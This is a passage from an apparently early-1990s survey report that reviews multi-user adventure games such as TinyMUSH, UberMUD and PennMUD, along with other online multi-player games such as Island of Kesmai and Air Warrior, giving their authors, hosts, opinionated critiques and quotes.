creator. + + To make programming easier, there is an on-line, line-oriented editor +built in. Source code is stored, which means tried-and-tested creations can be +moved easily to other TinyMUCKs. MUF programs tend to be longer than in most +MUAs - a simple slot machine (gambling pennies) is, for example, around 150 +lines long. TinyMUCK can read TinyMUD databases, but not vice-versa. + + TinyMUCK comes with plenty of documentation, and compared to other +building-oriented MUAs on InterNet looks rather attractive. It works, and it +can perform many powerful tricks. Its problem is that the people doing the +building have little experience of a thorough, well-written MUA. The best +example of this comes from TinyMUCK's own advertisement on InterNet: under the +headline "Can *your* MUD do this?" was a short transcript of a TinyMUCK session +where the player created a "camera" object, took a "photograph" of another +object with it, and then "projected" back the image. This is genuinely +impressive, except the photograph was of a red rose "with the fragrance of +spring". This lack of attention to detail ensures that unless there is strict +quality-control from above, any MUA which allows arbitrary, unchecked additions +to its database is going to suffer severe problems maintaining overall depth. + +Summary: + TinyMUCK is a decided improvement on TinyMUD, but it's really just one +short step on the long road back to LPMUD-like MUAs. The sooner programmers of +TinyMUD derivatives realise this, the better. + +Quotes: + + "Why wait for 'more powerful' MUDs when you can have all this?" + TinyMUCK 2.0 [promotional material] + + "TinyMUCK 2.0 is better documented than any other MUD in public + distribution." + TinyMUCK 2.0 [promotional material] + + +5.8 TinyMUSH. + +Name: TinyMUSH +Importance: 2 +Author(s): Larry Foard +Location: InterNet + Sanctuary valkyrie.ecn.uoknor.edu + TinyCWRU solarium.scl.cwru.edu + TinyMUSH sigh.berkeley.edu + TinyTIM grape.ecs.clarkson.edu + ToonMUSH uokmax.ecn.uoknor.edu + TwinPeaks corona.ecn.uoknor.edu + +Brief Description: + TinyMUD with modifications. + +Historical Notes: + Another approach by the Berkeley group to making TinyMUD usable. + +Review: + TinyMUSH is an enhancement to TinyMUD that is easier for beginners to +use than is TinyMUCK, but which irritates trained programmers. It differs from +TinyMUD primarily in that it provides daemons that can be programmed to fire +when an event occurs. This is similar to an AI technique, production systems, +however in TinyMUSH the production rules are called V-functions. They are +short pieces of code that provide a means of storing, changing and displaying +information. Some fields are expected for all objects, such as what happens +when it is dropped, killed, or listened to. + + Recognising that in enormous databases players rarely bump into each +other by accident, and that normal travel between rooms can involve a string of +thirty or more directions, TinyMUSH has more liberal teleportation rules than +TinyMUD, enabling players to materialise in other players' creations without +permission. + + TinyMUSH does have one kind of object that may be of general +applicability in MUAs - the puppet. This is an item that can relay information +to players. Example uses in a fantasy setting would be a crystal ball or a +magic-user's familiar. Although some of the advanced UK MUAs have similar +objects, most do not. + + TinyMUSH is a nice idea, and the notion that one small change can cause +great changes to occur elsewhere in the database is attractive. However, +programming this kind of system and controlling the interactions between +daemons is a nightmare even if there's only one programmer: with lots of people +programming objects, it will soon be virtually impossible for anyone to predict +the effects of actions or figure out the cause of some change. The problem goes +away if the changes that daemons can make are limited, but then so does all the +power. + + A version of TinyMUSH runs on a public-access bulletin board in +Toronto. + +Summary: + A worthy attempt, but, inevitably, destined for obscurity. + +Quotes: + + "When a user does X to Y, the MUSH can be programmed to fire off + all kinds of small 'programs'. I use quotes, because these aren't + so much programs as one-line attachments to object Y. Qualities + maybe." + Duncan Howard [MUD1 arch-wiz] + + +5.9 TinyMOO. + +Name: TinyMOO +Importance: 3 +Author(s): Stephen White +Location: Internet belch.berkeley.edu + +Brief Description: + TinyMUD with better building. + +Historical Notes: + MOO stands for "MUD, Object-Oriented". TinyMOO is an enhancement to +TinyMUD, written in 1990. White also wrote the original TinyMUCK. + +Review: + The main difference between TinyMOO and TinyMUD is that it transfers +the power to create objects away from the system administrators and towards the +players who are builders. + + Objects are implemented in a simple, C-like language, and can easily be +specialised (so that even non-programmers can create). This is achieved by a +class hierarchy and an inheritance (ie. object-oriented) approach. + + TinyMOO is not yet distributed publicly. + +Summary: + Another attempt to make TinyMUD safer, TinyMOO is basically a means of +allowing people to share a programming experience, chat a little, and do +nothing else. + +Quotes: + + "The current version is stable, however I'm in this bad habit of + tinkering and tinkering with it without releasing it." + Stephen White [author] + + +5.10 UberMUD. + +Name: UberMUD +Importance: 3 +Author(s): Marcus Ranum + ("Jerry_Cornelius") +Location: none + +Brief Description: + An experiment in MUA building language design. + +Historical Notes: + Began as a project to improve on TinyMUD. It was written from scratch, +and generated a lot of interest - Ranum was willing to give every idea a +hearing. A mailing list was established to organise messages between interested +parties, and when UberMUD was completed the mailing list enlarged its brief and +stayed on. So far, most of the discussions on it still concern UberMUD, +however. The Uber part of its name comes from the German, as in Ubermensch. + +Review: + UberMUD was conceived as an alternative to TinyMUD, with much improved +building facilities. It incorporated many ideas, some of which were clearly +ridiculous but others of which showed sufficient promise to be included in many +post-UberMUD InterNet MUAs. In particular, its system of protecting objects +from misuse by others (using a form of permission inheritance) looks like +making an impact. + + The UberMUD language - U - was low-level, a cross between Forth and C +(Forth semantics, C syntax). There were no predefined data structures, as +everything was implemented directly in U, nothing hard-wired. Objects were +atomic entities to which properties could be attached; that meant that things +like inheritance had to be implemented in U (MUD2's MUDDLE language, which has +the same overall aims as U, has inheritance built in automatically: this helps +with function matching). U's only predetermined factor was the order in which +programming-language objects were searched to find code to execute: verb first, +noun second, player third. + + Despite all the ideas that were included in UberMUD, some simple things +were left out (gender pronoun substitution being the most glaring omission). +It had the capacity to implement them, but no-one put them in. The mistake made +was to believe that by having a flexible implementation language that allows +pretty much anything to be phrased in it, everything necessary actually would +be phrased in it. Definition languages have to be either specific (ie. with +much assumed, but able to guide a new programmer in database design) or general +(ie. assuming nothing except that the programmer knows what is to be +programmed). + + Nowadays, UberMUD is maintained as the focus for discussions on MUAs in +general, but it has signally failed thus far to widen the topic of discussion +beyond UberMUD itself. + + +Summary: + UberMUD is available as a teaching tool for people wishing to write +their own MUAs, but proved too cumbersome itself to use in practice. + +Quotes: + + "The author seems to have mostly lost interest now that the code is + finished. Today, the code is used more as an example of what can + be done with MUDs than an actual production system." + Bill Wisner [player] + + "UberMUD has implemented the biggest advance of all. It requires + you to write the code on your local machine and upload it to the + game, thereby automatically saving a copy that can be uploaded + onto a second machine just as easily." + Lauren Burka [player] + + "The Ubermud mailing list is now, more generally, called mudwiz. It + has expanded its mandate to include wizards from all MUDs, not + just Uber." + Clay Luther [mudwiz postmaster] + + "I'm pretty much tired of working on it, and don't plan on doing + much more with it than I have (I wanted to prove it could be done, + mostly)." + Marcus Ranum [author] + + +5.11 Other InterNet MUAs. + + The MUAs here are either one-off systems not on proper public release, +or vapourware. Suspected spoof MUAs (eg. CoreMUD) have been omitted. + + +Name: Cthulhu +Author(s): Bill Burdick, Mitch Adler, + Roy Riggs + +Historical Notes: + The first version was written in Spring 1988 in C by Riggs. It was +essentially just a souped-up TinyMUD. In autumn 1988, the game was rewritten in +a version of object-oriented Lisp. Spring 1989 saw the first version of Mob, +the game's database definition language; this was based on Objective C, and was +scrapped. The second version of Mob came out Autumn 1989, based on Smalltalk +and written in Lisp. The game itself was written in Mob shortly afterwards; the +Mob interpreter was rewritten again in Spring 1990, using C. The game was +scheduled for release Summer 1990. + +Review: + If Cthulhu, or whatever it is eventually called, delivers all it +promises it will roughly on a level with a slightly above average UK MUA. +Nevertheless, this is good going to say that the programming team has no access +to these games for ideas (except the rather obsolete AberMUD), and has +developed its system from scratch. + + Cthulhu supposedly has intelligent mobiles, weapons, armour, clothing, +spells and glowing objects. There is some depth insofar as containers are +concerned, since they can have a rigid (box) or floppy (bag) shape, however +there is nothing similar to MUD2's transparency, for example, and the +containers have no lids. There is a powerful form of "attach" available, +although granting this to ordinary players is perhaps rather foolhardy on the +designers' part. + + There is an on-line system for room building, with players having +control only over their own creations. This appears primarily to be because +such functions are de rigeur on InterNet MUAs these days. + + The wish-list of things on the drawing board includes many +standard-issue features from the better UK MUAs. Using "look" to see in another +room, and printing text messages modulo a player's ability to sense what they +contain is nothing new in the MUA industry. Nevertheless, if such seemingly +"advanced" features gained a foothold on InterNet MUAs, it may hasten the day +when the vacuous TinyMUD-like MUAs are abandoned and more traditional games +replace them. + +Summary: + Sounds good, but as yet unseen. + +Quotes: + + "We can't sell anything written on a Purdue machine. We haven't + been giving out any sources either. Basically, we are too + dissatisfied with the old stuff to release it to the public eye, + and none of the new stuff is finished yet." + Roy Riggs [author] + + +Name: DUM II +Author(s): +Location: InterNet + AdaDUM II legolas.cs.umu.se + +Brief Description: + LPMUD-like MUA with no on-line building. + +Notes: + DUM II is something of a reaction to the unrestricted, unchecked +building possible in TinyMUD and, to a lesser extent, LPMUD. All wizzes have +privileges to build, however they may only submit their designs to the game's +maintainers ("gods"). These people write any necessary code, make +modifications for consistency, and consult with the designer if they feel their +suggestions need significant change or are inappropriate. New areas are then +thoroughly playtested before being opened. + + This form of editorial control is, perhaps, the best way to ensure that +room-building progresses naturally, and linearly over time. Its main +disadvantage is that the gods may not have the time required to deal with every +submission speedily or fairly, and they need to be skilled programmers. Some +players may also be tempted to take advantage of them. + +Quotes: + + "This [gods editing suggestions], and the fact that zones are not + opened until play-tested, makes the general quality of zones and + puzzles high." + Jorgen Holmberg [player] + + +Name: MIDgaard +Author(s): Andrew Plotkin + +Brief Description: + A shell of a MUA, meant for complex building. + +Historical Notes: + Finished in Spring 1990, due to go up in the Summer but so far nowhere +to be seen. Designed to be run as a commercial system. + +Review: + MIDgaard is a basically empty game, like TinyMUD, with the intention +that players add to it themselves. It is object-oriented with an extensible +classification system, and its power lies in the ability of players to program +objects. + + The game has nothing substantial built in - no spells, combat, persona +details or the like. This sort of thing is up to the game builders to +implement. The game is reported to have a tight security system that ensures +the zones people build are distinct from one another and cannot be spoiled by +other builders. This implies that objects created by one builder cannot be used +in someone else's zone, although any game running under those conditions would +be infuriating to play. + + MIDgaard's authors are obviously pleased with their game, since they +hope to run it commercially (charging around $20/month flat fee - this is +comparable to commercial UK MUAs). Object creation, as it uses limited hardware +resources (disc space etc.), will be surcharged. + + However, MIDgaard's rationale is fundamentally flawed. The authors +think that because they have a game which compares well with TinyMUD, it will +attract players in the real world. However, as has been noted elsewhere, room +building is not really an interesting or fruitful thing for people to do - +TinyMUD's success is entirely down to the fact that it allows people to +communicate over a distance while being less of a CPU hog than systems that do +it a whole lot better. If MIDgaard's programmers think they can sell a simple +chatline under the guise of its being a game, they are in for a tragic +surprise. + +Summary: + Over-rated, and also behind the times. + +Quotes: + + "Since the maintainers of MIDgaard will be employed by MIDgaard, we + will have great motivation to keep things running smoothly, and + make interesting stuff." + Andrew Plotkin [author] + + +Name: PennMUD +Author(s): Charles Hannum ("MycroftXXX"), + Michael Barthelemy ("Edheler"), + David Singh ("Cyric"), + Al Catalfamo ("Satan"), + and 10 others + +Brief Description: + On-line AD&D. + +Historical Notes: + PennMUD took the InterNet world by storm in Spring 1990, when its +incredible design was announced. After a flurry of scepticism, which PennMUD's +promoters answered in disparaging tones that alienated them from the rest of +the InterNet MUA community, they took umbrage and clamped up. Nothing has been +heard of them since, except that the authors are no longer at the university +(Pennsylvania). + +Review: + Take the AD&D handbooks, enumerate all the ideas without considering +their implementation, and you'll end up with a fair approximation to PennMUD +(also called NeXTMUD on occasion). Detail was everything (but, for the most +part, unnecessary). + + There were to be 7 basic character classes, 6 different races, 9 basic +statistics, an unspecified number of languages, spells with verbal and physical +components, a game divided into "days" of 4 hours real-time duration, +encumbrance affecting speed of movement, a currency with exchange rates for +different coin types, a barter system, wet/dry and temperature factors for +rooms, rolling resets, objects saved when you quit (with periodic persona file +searches to return "special" objects that stayed out of play too long), +vehicles, and several towns. Object creation was to be available, by extending +the level system beyond god (ie. wiz). And this list just scratches the +surface. + + Not all proposals were completely unimplementable or totally +undesirable, but most were. One neat idea that may work in existing MUAs is +limiting the number of objects that can be seen in a dark room depending on the +intensity of the persona's light source. + + PennMUD combined all the worst things from MUAs with the worst things +from games like Island of Kesmai. Fortunately, its specification team was so +ambitious that it will be many years before anything as complex as PennMUD +becomes publicly available. By then, traditional MUAs will hopefully have a +strong enough toehold that when large, multinational games companies enter the +field they will not ignore the hidden-depth, freestyle MUAs in favour of the +explicit-bells-and-whistles role-playing monsters. + +Summary: + Archetypal vapourware. All impossible design, and no substance +whatsoever. The worst is, even if it had been written it wouldn't have been +much fun to play due to the fearsome constraints it would have imposed in the +name of role-playing. + +Quotes: + + "We are still working on the god/demigod commands and do not have a + list made up as of yet. If you can think of any commands that you + would like to see implemented at these levels, please note me on + them with a full description of the command." + Michael Barthelemy [project designer] + + "To keep the game moving, you might consider dilating time for rest + and movement commands. The amount of realism that is lost is not + nearly as important as the amount of boredom that is alleviated." + Andrew Thomas [would-be player] + + +Name: SMUG +Author(s): Jim Aspnes + +Notes: + SMUG (Small Multi-User Game) was written by Aspnes as a would-be +successor to his own TinyMUD. The primary goal was to include a programming +language that ran at a high speed, but which was safely accessible to all +players. The language includes an inheritance hierarchy, but has fewer tools +in general than either TinyMUCK or LPMUD. + The project ground to a halt in mid-1990, so Aspnes recently made the +sources available as ideas material for other MUA writers. + +Quotes: + + "A secondary goal was to show that you didn't have to have 15,000 + lines of code to do this." + Jim Aspnes author + + +Name: VAXMUD + +Brief Description: + Standard MUD1 clone. + +Historical Notes: + Written in 1987 by students at Strathclyde University, and distributed +in binary form only. It is still being added to. + +Notes: + VAXMUD is written in Fortran, and runs only on VAX VMS systems. The +scenario it comes with is hard to customise, and the fact that source code is +unavailable makes it doubly unpopular. + The game saves objects carried when a player quits, a practice which in +general can lead to games being tied up for some considerable time. + + +Name: YAMA +Author(s): Alan Cox ("Anarchy") + +Brief Description: + A program for writing MUAs. + +Historical Notes: + Alan Cox's latest project, based on his experience in writing AberMUD. + +Notes: + YAMA is intended to be used for writing MUAs, and in that sense it is +more properly described as a database definition language plus interpreter than +a game itself. It was written to be fast, efficient and powerful. It is also +reputedly difficult to learn. It is player-extensible, however its +programmability in this respect is not as good as, say, LPMUD. + YAMA is presently in beta-test. + +Quotes: + + "It has been aptly described as an assembly language for MUDs." + Bill Wisner [playtester] + + "It is a game in the spirit of the original MUD; TinyMUD players + need not apply." + Bill Wisner [playtester] + +6. Reviews - Non-MUAs. + +Name: Air Warrior +Location: GEnie +Pricing Structure: $35/hour 8am - 6pm + $5/hour 6pm - 8am + (no UK access point) + +Brief Description: + Multi-player flight simulator. + +Historical Notes: + Written by the Kesmai Corporation, who also wrote Island of Kesmai and +Megawars III. + +Review: + Flight simulators are usually best-sellers for single-user computer +games. Air Warrior is a normal flight simulator with a comms package built in, +a client program of the most sophisticated kind yet developed. Why the Kesmai +Corporation haven't done something similar for their other multi-player games +is a complete mystery. + + All the work is done by the user's home machine. Information is passed +from the host computer, and is assimilated into the user's machine's database; +the display is updated accordingly. Commands are processed and passed back up +the line to the host. The user's computer is therefore acting as a front-end +for the game; furthermore, it is smart in that it generates its display itself +- sending complete screen images down the telephone line in real-time is not +yet possible, given the narrow bandwidth of present-day telephone networks. +Indeed, even if it were possible it might not be desirable - Air Warrior has an +off-line practice mode built in, which would be impossible to use in a system +that obtained all its graphics from a host machine. + + The terminal software necessary to play Air Warrior is available for +the Macintosh, Amiga, Atari ST and IBM PC. Fancy instrument displays can be +downloaded from an on-line database, or designed by the user. + +Summary: + State-of-the-art IMPCG. The game itself isn't particularly brilliant, +but the graphics are stunning and there's nothing else quite like it - yet. + +Quotes: + + "Where conventional multi-user games like MUD or Micronet's Shades + can only portray their game-world using text messages, Air Warrior + gives you all the animated 3D graphics and sound you'd expect from + any single-player flight sim." + ACE [magazine] + + "The first thing you need to realise about aerial combat is that + the main objective is to survive. Shooting down enemies is just + icing on the cake." + Cap'n Trips [player] + + "One thing's for sure: US gamers are taking to the game in their + droves, joining GEnie and possibly even buying modems just so they + can play it. Let's hope it - or something similar - reaches + Britain soon!" + ACE [magazine] + + +Name: Astroid +Location: Minitel + +Brief Description: + Multi-player on-line arcade game. + +Review: + Astroid (formerly Astro) marks Third Millenium Systems' entry into the +non-MUA interactive computer game market (they also produce Shades and Trash). +Unlike all other commercial games of this type except Air Warrior, it was +written specifically to be used with client software. Players thus get quality +graphics and sound effects if they have the appropriate disc and an IBM PC or +an Atari ST. + + The player's screen is a pilot's eye view of the cockpit and the +universe. This looks like a flight simulator, but isn't - all action takes +place within two-dimensional planes. + + The game itself is a standard arcade-style shoot-em-up with exploration +and mineral mining thrown in. There is ship-to-ship communication that allows +players to talk to one another, but Astroid's fast pace leaves little time for +such pleasantries. + +Summary: + A definite step in the right direction, but it'll be a long time before +such games are widely available in the UK. + +Quotes: + + "Astroid is the most sophisticated game of its kind today, and in + its underlying architecture we see a glimpse of the potential + offered by developing network and terminal technologies for + interactive entertainment." + Mike Brown [Third Millenium Systems] + + +Name: BattleTech +Location: Chicago BattleTech Centre + +Brief Description: + Very high-technology arcade game. + +Historical Notes: + Based on the BattleTech inter-robot role-playing game. + +Review: + BattleTech is unlike all the other games described in this report. +Rather than being played over the telephone lines, players interact over an +ethernet LAN. Each sits at a console in a cockpit, and they battle in real-time +over a simulated 10 miles by 10 miles landscape in assorted weather conditions. +Although the system is not quite complete, and is LAN-based, the point is that +all it does could be implemented equally well over a sufficiently wide-band +telephone network. + + The BattleTech console has six audio speakers, one of which is for +inter-player communication. There is a microphone, a numeric keypad for +punching in missile co-ordinates and a joystick for aimed laser fire. Movement +is via a hand-held throttle and two foot pedals. Visually, there is one primary +screen, several secondary screens, and numerous illuminated instruments. + + Players work in teams, up to four a side. There's only one BattleTech +centre at the moment, but others are planned. + +Summary: + IMPCGs will only have come of age when products like BattleTech are +available to home users over the telephone network. + +Quotes: + + "It drives like a tank." + Ross Babcock [technical director] + + "This is the game of futuristic mechanised combat we all know and + love - but this time it's for real!" + GMI [magazine] + + +6.1 Fantasy Sports. + +Name: Football/Hockey/Baseball +Location: CompuServe, + USA Today Sports Center + +Brief Description: + Simulations of sports leagues. + +Review: + There are several Fantasy Sports available on US networks, but as they +are all basically the same idea their reviews have been combined. + + Fantasy Sports' players take control of a sports team and guide it +through a season of matches against other players. Team members can be +transferred and new members drafted, paid for using game money. Team selection +is made before each match, and the games are played to coincide with matches in +the real world. + + Participating in Fantasy Sports takes little time - a few minutes a +day. The overall goal is to win the league title, and there is usually a +real-life prize associated with it - a stay at a baseball training camp, for +example. + + Fantasy Sports are usually uncomplicated, and they are not properly +interactive. They do, however, generate a lot of discussion among players, and +were the games displayed graphically they would attract an even wider audience. + +Summary: + Multi-user, but not really interactive. When interactive versions do +come out in the USA, someone there will make themselves an awful lot of money. + +Quotes: + + "The most exciting part was when I won the BERRA National League + Championship in 1987. Unfortunately, I wasn't able to defend my + title in 1988; I came in fourth. Other than that, it's exciting + when one of your pitchers throws a two-hit shutout, or when your + catcher hits two home runs and six RBIs in one game, and you know + that your team has been helped in the overall standings as a + result." + Bill Gallagher [player] + + "When Boomer Esiason limps off the field with a sprained ankle or + Greg Swindell develops arm trouble, the Fantasy Sports owner has + to find a way to bolster his team and continue to compete. + Replacing Esiason or Swindell may mean gambling on an unproven + rookie, signing a free-agent or putting together a trade for a + seasoned veteran." + CompuServe [magazine] + + +6.2 Island of Kesmai. + +Name: Island of Kesmai +Location: CompuServe +Pricing Structure: $12.50/hour plus + $9.40/hour for UK players + +Brief Description: + First-generation graphics game. + +Review: + Island of Kesmai (or IOK) is Compuserve's best-selling game - its +popularity exceeds that of British Legends, which came on-line later. + + IOK is primarily a role-playing game. Beginners have to select from +various character classes and races (each of which have their advantages and +disadvantages), and they are assigned 6 property values (strength, +intelligence, dexterity, wisdom, stamina and constitution). The parallels with +AD&D are clear. + + IOK is in many ways like a conventional MUA. Players move by typing in +directions, and there are commands to pick up, drop, examine and throw objects. +There is little breadth, true, and hardly any depth, but it does have +complexity enough to merit a 160+ page manual. Subtle differences between +character classes, and a range of effects dependent on players' statistics, do +give an impression of realism. + + The main point about IOK, however, is its display. Rather than textual +room descriptions, IOK gives a bird's eye view of the area local to the player. +The game is grid-based, and players see a 6 by 6 matrix drawn using pairs of +ASCII characters. This may be incomplete, since areas not in line-of-sight are +not drawn. + + The display is crude. Common features have their own symbols (eg. +walls are [], fire is **), but mobiles (critters) and players are simply listed +as letters, with a key to decode them printed alongside the map; this is +necessary because players can occupy the same square, and thus couldn't be +drawn graphically. There is some informational content in mobiles' names, eg. +!Nocha is of neutral alignment, +Nocha would be evil (and likely to attack). + + There are client programs available which make playing IOK easier, and +which tart up the display. However, at present there is no software on general +release that produces quality graphics (an Amiga terminal driver has been made +available just this month, but so far only 6 people have downloaded it). This +is something which must surely come soon - if IOK were given Dungeon Master +graphics, for example, it would be almost irresistible. The game is structured +specifically for automatically-generated graphical displays, and it's amazing +that nothing beyond crude ASCII is used. + + The atmosphere in IOK is enforced friendliness. Attacking other +players, while possible, produces howls of outrage and the attacker will become +a pariah. Communication over distance is not possible, so even if there are 50 +people playing you can only talk to those in the same "room" as you. + + Players in IOK progress by finding money, and using it to buy equipment +or training. There is no overall goal - the players just try to keep alive. +However, since some people have been playing for years, they can build up +incredibly powerful personae, and it is unlikely that they will ever die. Even +if they do, they will be resurrected automatically unless killed by a +flesh-eating mobile. In order to keep these long-term players from getting +bored, the game is continually added to, with new sections of increasingly +dangerous monsters and bigger rewards. This does have the effect of keeping +high-level players interested, but it makes the game even more daunting for +newcomers. Because of this, IOK has two games - basic and advanced. + + The game does have resets, but they are over a long period of time - 60 +days or so. Individual objects and puzzles can be reset on their own - +necessary, as players take them with them when they quit. + + In many ways, IOK is like Rogue or Hack. It has a similar display, +similar commands, slightly more depth (mobiles that speak gibberish, mobiles +that can only be damaged by weapons made of a certain material), and is +multi-player. Nevertheless, even Hack is compulsive, and as IOK is +multi-player that makes it doubly so. + + IOK appeals to people who like complex (yet often arbitrary) +interactions between objects, lots of detailed rules, and no descriptive text. +Were a large games company to muscle in on the play-by-modem scene, this is the +kind of game they'd probably go for. In the long term, it's a bad move because +IOK makes many mistakes - it can't go on expanding indefinitely, for example. +However, with a good client it could be very impressive for a few years, and +that would certainly be enough to make a large amount of money. + +Summary: + Basically, Island of Kesmai is an average, role-playing style MUA, with +a crude graphical interface and not a great deal else. However, it is tuned to +perfection, and when a proper client is written it should be very impressive. + +Quotes: + + "In 2.5 years of playing, I've never been on-line when there + weren't at least 3 other players, and there are usually 10-60 + players." + Dragon [magazine] + + "When you become involved in Island of Kesmai, you find yourself + thinking of it not so much as a game but as a place." + Randy Eichman [player] + + "Expect your first dragon-slaying outing to take a few hours. Your + adventure could end in glory or in a dragon's stomach, but chances + are you'll have a great time either way." + CompuServe [magazine] + + "Kesmai's creators have fashioned a revolutionary experience." + Dragon [magazine] + + + +Name: MegaWars III +Location: CompuServe +Pricing Structure: $12.50/hour plus + $9.40/hour for UK players + +Brief Description: + Multi-player space warfare game + +Historical Notes: + Written by the Island of Kesmai team, MegaWars III is a greatly +enhanced version of MegaWars I. + +Review: + MegaWars III is, at heart, a multi-player version of the old Star Trek +game that was popular on mainframe computers in the late 1970s. More detail +have been added, with an economic system, troop landings, planets, gas giants +(for fuel), and an overall goal - to become emperor of the galaxy. + + Resets are several weeks apart. Players colonise planets, raise +revenue, build more ships, and spread throughout the galaxy. Unlike Prestel's +StarNet, the game runs in real time and orders are not "batched"; even +experienced players must spend several hours a day playing if they are to stand +any chance of becoming emperor. For this reason, players usually join teams, so +that other team members can protect their growing empire while they're away. + + The screen display is a simple ASCII bird's eye view. It's only really +essential for ship-to-ship combat, so can be turned off at other times. Its +size is adjustable, up to 32 by 32 squares. Again, there is no client software +for users, so any ideas of sprite-driven missiles racing across the screen and +exploding in vibrant colour must be dismissed: all you get on MegaWars III is +an exclamation mark if you're lucky. + + CompuServe also have a very basic cut-down space combat game called +SpaceWAR. Unlike MegaWars III, however, it does not feature inter-player +communication, just high-speed combat. + +Summary: + MegaWars III is basically a simple core, with lots of added detail that +significantly changes the gameplay. As with most cursor-addressing games, its +appeal would be greatly improved if it had specialist client software that +dealt with proper graphics, instead of relying on ANSI escape codes. + + +Name: NetHack +Location: InterNet + +Brief Description: + Multi-player Hack. + +Historical Notes: + Hack is a development of Rogue, a single-player game where the player +wanders around a computer-generated dungeon slaying monsters and casting +spells. NetHack is the multi-player version of Hack. + +Review: + NetHack is one of a series of games developed from Rogue, and shares +many of the latter's features. Players are given an overhead view of their +dungeon level, and move around using arrow keys. Players are supposed to +co-operate in their attempts to find the lower reaches of the dungeon. There +is no direct communication between players within the game - it works best when +played by two people on adjacent terminals. + + Work is beginning on the USA academic MUA circuit aimed at combining +NetHack with standard MUAs, eg. LPMUD. This should produce something along the +lines of Island of Kesmai, but with more traditional MUA features rather than +IOK's detailed role-playing orientation. + + There are already two NetHack lookalikes with a MUA flavour. Myth was +written by Per Abrahamsen in Denmark using C++, and incorporates many classes +useful for such games; it is, however, rather primitive. Strathclyde +University has VAXMUF (Multi-User Fight), with 100 levels, 100 spells and using +ASCII graphics. Neither of these is as widespread as NetHack. + + Other InterNet games based on Rogue are Larn, Moria and Omega, and +multi-player versions of these may be forthcoming in the near future. +Galacticomm bulletin boards already carry an ANSI-graphics game called +Androids!. + +Summary: + Although there probably are people willing to pay to play NetHack, the +real developments will come when the game is merged with existing MUA +technology and is given a proper server. + +Quotes: + + "I tried linking up a TinyMUD to Hack. One was in ANSI C and the + other was in C. Although it did some really impressive stuff, it + failed as a 'good attempt' to get them to link up - but I believe + it is possible to do it." + Ashgon [player] + + +6.3 Sniper! + +Name: Sniper! +Author(s): Steve Estvanik ("Yngvi") +Location: CompuServe + $12.50/hour plus + $9.40/hour for UK players + +Brief Description: + Man-to-man World War II combat game. + +Historical Notes: + Based on the TSR boardgame. + +Review: + In Sniper!, players control not individuals, but a squad of +individuals, each with their own strengths and weaknesses. This is a growing +trend in single-user role-playing games. The player takes on the position of +the squad's commanding officer. + + The game uses IOK-like cursor addressing to draw a 10 by 60 map on the +players' screens, however the game is difficult to play without having first +downloaded a copy of the full-sized map, of which the screen display is only a +part. + + The game has a levels system: ranking points are given for each +engagement, and when a certain number have been achieved the player is +promoted. Whether a brigadier general would actually be involved in man-to-man +combat isn't at issue... + + Sniper! is a two-player game. Players can play against the computer or +against themselves, or even watch other people play; however, they will +normally play against someone else. Missions can be either patrol, infiltrate +or specific, and can take place in different areas (Sicily, Normandy, +Ardennes), each with its own map. A game will normally last between 20 to 45 +minutes for players of similar rank, but if there's a big disparity then it +could all be over in 10 minutes. + + Being a two-player game drastically reduces the amount of socialisation +that can take place. There is a saloon bar for friendly discussion, but little +to do in the game itself. Sniper! is not for role-players. Unlike +modem-to-modem games, it does actually run on CompuServe's computers, and +therefore can only be played there. It's not merely a place for players to make +contact and then call each other separately; if it were, it wouldn't be as +lucrative as it is at present. + + Like IOK, Sniper! does not have graphical client software. Since most +American players use either an IBM PC or a Macintosh, this is inexcusable. The +display it does have can be in colour, but it is composed of single ASCII +characters; it is even more difficult to decipher than IOK's. + + Sniper! has a reputation for intricacy and complexity. As with IOK, +experienced players like being able to talk about fine, subtle details. It is +certainly possible to play Sniper! without being aware of all the rules, but +unlike normal MUAs there is little fun to be gained in discovering them: +they're all available explicitly, and just have to be read and learned. Battle +tactics are the "exploratory" side to the game. + +Summary: + An adaptation of a boardgame that takes out all the tedious +manual-reading during play and replaces it with tedious manual-reading before +play. A good game for seriously minded wargamers. + +Quotes: + + "Some people enjoy role-playing and use the radio to send insults + or jibes when they hit, or complain when they miss." + Steve Estvanik [author] + + "You have to think on your feet. While you're in the game, it's a + real battle. Things happen, and you have to react. It's like a + game of high-speed chess." + Peter Soehnlen [player] + + +6.4 The Spy. + +Name: The Spy +Author(s): Blane Bramble +Location: IOWA and/or Synergy +Pricing Structure: free + +Brief Description: + First-generation graphics game. + +Review: + A budding IOK-style game. Players are espionage agents armed with a gun +and some grenades, who wander around a maze attempting to dispose of one +another. Since there are no puzzles, playing The Spy alone is, at the moment, +pointless. + + The graphics used are simple ASCII characters, with screen addressing +via VT52 codes. As with IOK, line noise can badly trash a screen. Also as with +IOK, The Spy would benefit enormously from a client program that took the +simple ASCII and turned it into a proper, high-quality pictorial display. + +Summary: + A new game: playable, but badly in need of more MUA-like features. +Probably going nowhere itself, but it may spark someone to attempt something +more sophisticated, along IOK lines. + +Quotes: + + "The idea is to provide a multi-user game with a semi-graphical + user interface (similar to that found in the games Hack, Moria, + Omega and so on)." + Blane Bramble [author] + +Name: You Guessed It! +Location: CompuServe +Pricing Structure: $15.50/hour plus + $9.40/hour for UK players + +Brief Description: + Multi-player trivia quiz game. + +Historical Notes: + Based on a US TV programme vaguely similar to Family Fortunes. + +Review: + You Guessed It! (or YGI for short) is a simple multi-player quiz game +with a now sadly diminished following on CompuServe. Players are asked a series +of questions in turn by the program, and score points for 'correct' answers; +the quotes are because the questions are based on the most popular answer given +by 100 people surveyed in the mid-west, and are not always factually correct, +eg. "Name a famous Italian opera" was answered "Carmen" by more people than +was any other opera. Players can challenge the survey results, in which case a +majority vote by all players is required for the new answer to be accepted. + + Players can win bonus points for some answers, and these can be added +up and turned into real cash; for legal reasons only US citizens aged 18 and +over may do this, however. To pay for the prizes, there's a $3/hour surcharge +on YGI contestants. + + YGI's main problem is sterility. At the moment, its database contains +around 2,000 questions, and some players have seen them all and recorded the +answers. New questions involve taking surveys, which is expensive, although +2,000 is still rather measily. + + The main reason people play YGI is nothing to do with the game itself, +though. It has a lobby area, where players go to wait for a game to start, and +they chat to one another there. Forming friendships in this way is the real +reason people play. YGI is therefore really little more than a chatline. + + The past few years have seen a decline in YGI, as it has lost players +to British Legends, which provides better communication facilities with the +bonus of role-playing - something YGI's socialisers enjoy. + +Summary: + YGI is an innocuous quiz program that was successful for reasons its +authors had not considered: the game itself was merely a focal point to draw +like-minded people together, and it had no staying power of its own in the +face of opposition from a fully-fledged MUA. YGI is now reduced to cult status. + +Quotes: + + "Will you have fun? Will you learn more about your friends on + CompuServe? Will you discover the Meaning of Human Existence? - + You guessed it!" + You Guessed It! [promotional material] + +7. 